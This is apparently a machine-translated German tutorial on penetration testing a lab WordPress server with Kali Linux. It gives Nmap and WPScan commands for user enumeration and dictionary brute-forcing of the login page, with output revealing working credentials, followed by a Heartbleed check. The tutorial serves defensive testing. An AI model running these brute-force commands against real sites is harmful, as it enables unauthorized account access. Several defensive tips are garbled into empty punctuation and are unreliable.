Finden und nicht neutralisieren: Schreiben von Penetrationstests mit Kali Linux

Kali und andere ähnliche Tools helfen dabei, Schwachstellen in Ihrer Software zu erkennen. Und es ist besser, wenn Sie sie zuerst finden und nicht die Eindringlinge.







Sie können eine Ahle nicht in einem Sack verstecken: Aus Unwissenheit (wenn auch in einigen Fällen - absichtlich) hinterlassen sogar große Unternehmen Löcher in ihrem Sicherheitssystem. Es ist wichtig, (1) sie so schnell wie möglich zu lokalisieren und (2) zu beheben. Glücklicherweise gibt es viele verschiedene Produkte, die beim ersten Punkt helfen. Darunter befindet sich Kali , eine Linux-Distribution, die für Sicherheitstests entwickelt wurde. In diesem Artikel werde ich Ihnen zeigen, wie Sie mit Kali Linux Ihr System untersuchen und Schwachstellen finden, indem Sie einen Angreifer simulieren.



Die Kali-Distribution enthält viele Tools, die alle Open Source sind. Es reicht aus, die Installation der Distribution auszuführen, und alle diese Tools sind sofort verfügbar.







Bild : Peter Gervase , CC BY-SA 4.0



Ich werde zwei Systeme als Testpersonen verwenden:



  1. kali.usersys.redhat.com : 30 GB Speicher und 6 virtuelle CPUs. Dieses System scannt das Opfer und startet Angriffe.



  2. verwundbar.usersys.redhat.com : Ein System mit Red Hat Enterprise Linux 8 an Bord. Hier muss es angegriffen werden.


Ich habe die technischen Eigenschaften der Ausrüstung hier aus einem bestimmten Grund erwähnt. Einige unserer Aufgaben stellen hohe Anforderungen an die Hardware, insbesondere an die System 2-CPU, auf der der WordPress-Sicherheitsscanner ( WPScan ) ausgeführt wird.



Suchen Sie nach offenen Ports



Ich habe mit einem einfachen Scan von System 2 begonnen. Durch Scannen des Systems mit Nmap können Sie herausfinden, welche Ports und Dienste von System 1 aus sichtbar sind, um den Scan zu starten.







Bild : Peter Gervase , CC BY-SA 4.0



Das erste, was Sie tun müssen, ist, einige „interessante“ offene Ports zu finden - potenzielle Schwachstellen. Tatsächlich ist jeder offene Port interessant, da er das Netzwerk eher gefährdet. In diesem Beispiel sind 21, 22, 80 und 443 auch Ports für häufig verwendete Dienste. Aber im Moment mache ich nur Intelligenz und versuche so viele Informationen wie möglich über das System zu bekommen, das ich hacken möchte.



Danach werde ich für eine eingehendere Analyse Port 80 auswählen und den Befehl Nmap mit den Argumenten -p 80 und -A ausführen. Auf diese Weise können Sie Informationen über das Betriebssystem und die Anwendung abrufen, die Port 80 verwendet.







Bild : Peter Gervase , CC BY-SA 4.0



Hier interessieren uns folgende Zeilen:



PORT   STATE SERVICE VERSION

80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-generator: WordPress 5.6.1
      
      







Informationen über Benutzer finden



Da ich jetzt weiß, dass dies ein WordPress-Server ist, kann ich WPScan verwenden, um Informationen über potenzielle Schwachstellen abzurufen. Es wäre schön, mehrere Benutzernamen und deren Passwörter zu finden. Um sie in einer bestimmten WordPress-Instanz zu finden, verwenden Sie die Optionen --enumerate u: Großartig, zwei Benutzer gefunden: admin und pgervase . Ich werde versuchen, das Passwort für den Administrator mithilfe von Passwortwörterbüchern zu erraten - einer Textdatei mit einer Reihe möglicher Optionen. Ich werde Wörterbücher mit 3.231 und 3.543.076.137 Zeilen verwenden.



┌──(rootkali)-[~]



└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u



_______________________________________________________________



        __              _______   _____



        \ \     / /  __ \ / ____|



        \ \  /\  / /| |__) | (___   ___  __ _ _ __



        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \



                \  /\  /  | |   ____) | (__| (_| | | | |



                \/  \/   |_|    |_____/ \___|\__,_|_| |_|



        WordPress Security Scanner by the WPScan Team



                        Version 3.8.10



        Sponsored by Automattic — https://automattic.com/



        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart



_______________________________________________________________



[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]



[+] Started: Tue Feb 16 21:38:49 2021



Interesting Finding(s):



...



[i] User(s) Identified:



[+] admin



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)



[+] pgervase



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)











Passwort erraten mit Wörterbuchangriff



Für Wörterbuchangriffe können verschiedene Tools verwendet werden. Hier sind zwei Beispielbefehle mit Nmap und WPScan:



# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com

# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

      
      





Diese beiden Tools können natürlich noch viel mehr, eignen sich aber auch zum Erraten von Passwörtern. 



Dieser WPScan-Befehl zeigt beispielsweise das Kennwort am Ende der Datei an:



┌──(rootkali)-[~]

└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin

_______________________________________________________________

        __              _______   _____

        \ \     / /  __ \ / ____|

        \ \  /\  / /| |__) | (___   ___  __ _ _ __ 

        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

                \  /\  /  | |   ____) | (__| (_| | | | |

                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team

                        Version 3.8.10

        Sponsored by Automattic — https://automattic.com/

        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]

[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s

Trying admin / redhat Time: 00:01:57 

<==================================================================================================================>

 (3231 / 3231) 100.00% Time: 00:01:57

Trying admin / redhat Time: 00:01:57 

<=========================================================            

                                             > (3231 / 6462) 50.00% 

 ETA: ??:??:??

[SUCCESS] — admin / redhat                                              

                                                                        

                                                

[!] Valid Combinations Found:

 | Username: admin, Password: redhat
      
      





Der Abschnitt Valid Combinations Found am Ende enthält den Benutzernamen admin und sein Passwort. Es dauerte nur zwei Minuten, um über 3.231 Zeilen zu iterieren.



Ich habe eine andere Wörterbuchdatei mit 3.238.659.984 eindeutigen Einträgen, die viel länger dauern wird.



Nmap liefert viel schneller Ergebnisse:



┌──(rootkali)-[~]

└─# nmap -sV --script http-wordpress-brute 

--script-args userdb=users.txt,passdb=password.txt,threads=6 

vulnerable.usersys.redhat.com

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST

Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)

Host is up (0.00015s latency).

Not shown: 995 closed ports

PORT    STATE SERVICE VERSION

21/tcp   open  ftp      vsftpd 3.0.3

22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)

80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)

| http-wordpress-brute:

|   Accounts:

|       admin:redhat — Valid credentials              <<<<<<<

|       pgervase:redhat — Valid credentials         <<<<<<<

|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0

111/tcp  open  rpcbind 2-4 (RPC #100000)

| rpcinfo:

|   program version     port/proto  service

|   100000  2,3,4       111/tcp   rpcbind

|   100000  2,3,4       111/udp   rpcbind

|   100000  3,4         111/tcp6  rpcbind

|_  100000  3,4         111/udp6  rpcbind

3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB

MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)

Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
      
      







Ein solcher Scan kann zwar anhand der HTTPD-Protokolle verfolgt werden, die im gefährdeten System erkannt werden:



10.19.47.170

 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575

 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 

(https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»
      
      







Suche nach Heartbleed Vulnerability



Um Informationen über den HTTPS-Server und die SSL / TLS-Protokolle zu erhalten, verwende ich den Befehl sslscan:



┌──(rootkali)-[~]

└─# sslscan vulnerable.usersys.redhat.com

Version: 2.0.6-static

OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:

SSLv2   disabled

SSLv3   disabled

TLSv1.0   disabled

TLSv1.1   disabled

TLSv1.2   enabled

TLSv1.3   enabled

<snip>
      
      







Wir sehen, dass in den auf dem Server verwendeten Protokollversionen keine Heartbleed-Sicherheitsanfälligkeit gefunden wurde:



Heartbleed:

TLSv1.3 not vulnerable to heartbleed

TLSv1.2 not vulnerable to heartbleed
      
      







Das bedeutet, dass ich über das Heartbeat-Modul nicht auf RAM- und Serverdaten zugreifen kann. Nun ... es ist kein Schicksal :)



Tipps zur Verhinderung und zum Schutz von Hacking



Sie können viele Artikel darüber schreiben, wie Sie Angriffen von Hackern aller Art widerstehen können. Hier beschränke ich mich auf allgemeine Empfehlungen:



  • Untersuchen Sie Ihr System : Welche Ports sind geöffnet, welche Ports sollten geöffnet sein, wer sollte diese Ports sehen können und wie viel Verkehr sollte durch sie gehen. Nmap um dir zu helfen.



  • : , , ​​. .



  • : , , WordPress, IP- . , IP- , . , .



  • : , .



  • : , . , .



  • , : , « - ».



  • Nutzen Sie zusätzliche Tools Ihrer Softwareanbieter: Red Hat Enterprise Linux enthält beispielsweise Red Hat Insights , um Ihr System zu optimieren und Sie rechtzeitig auf potenzielle Sicherheitsbedrohungen aufmerksam zu machen.


Nützliche Materialien (auf Englisch)



Was in diesem Artikel beschrieben wird, ist nur die Spitze des Eisbergs. Um tiefer zu tauchen, können Sie die folgenden Ressourcen erkunden:










Cloud-Server von Macleod sind schnell und sicher.



Registrieren Sie sich über den obigen Link oder indem Sie auf das Banner klicken und erhalten Sie 10% Rabatt für den ersten Monat der Anmietung eines Servers einer beliebigen Konfiguration!






All Articles